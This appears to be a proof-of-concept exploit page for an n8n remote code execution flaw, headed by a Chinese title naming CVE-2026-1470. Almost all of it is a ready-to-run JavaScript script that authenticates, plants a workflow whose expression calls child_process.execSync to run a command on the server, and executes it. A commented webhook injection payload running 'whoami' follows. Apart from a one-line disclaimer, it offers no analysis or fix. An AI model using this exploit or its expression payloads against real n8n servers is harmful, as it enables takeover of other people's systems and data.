n8n工作流表达式远程代码执行漏洞（CVE-2026-1470）

// CVE-2026-1470 PoC - n8n Expression RCE // This PoC demonstrates how to achieve RCE via n8n workflow expressions // Note: This code is for educational and security research purposes only const axios = require('axios'); async function exploitN8n(baseUrl, credentials) { try { // Step 1: Authenticate to n8n const loginResponse = await axios.post(`${baseUrl}/rest/login`, { email: credentials.email, password: credentials.password }); const sessionCookie = loginResponse.headers['set-cookie']; // Step 2: Create a new workflow const workflowResponse = await axios.post( `${baseUrl}/rest/workflows`, { name: 'Malicious Workflow', nodes: [ { name: 'RCE Node', type: 'n8n-nodes-base.set', position: [250, 300], parameters: { // Malicious expression for RCE value: '={{ require("child_process").execSync("id > /tmp/pwned.txt").toString() }}' } } ], connections: {}, active: false }, { headers: { Cookie: sessionCookie } } ); const workflowId = workflowResponse.data.id; // Step 3: Execute the workflow to trigger RCE await axios.post( `${baseUrl}/rest/workflows/${workflowId}/execute`, {}, { headers: { Cookie: sessionCookie } } ); console.log('[+] RCE Payload delivered successfully'); console.log('[+] Check /tmp/pwned.txt on target server'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage // exploitN8n('http://target-n8n-server:5678', { // email: '[email protected]', // password: 'password123' // }); // Alternative: Direct expression injection via webhook // POST to any webhook node with payload containing expression: // {{ $json.exec(require('child_process').execSync('whoami').toString()) }}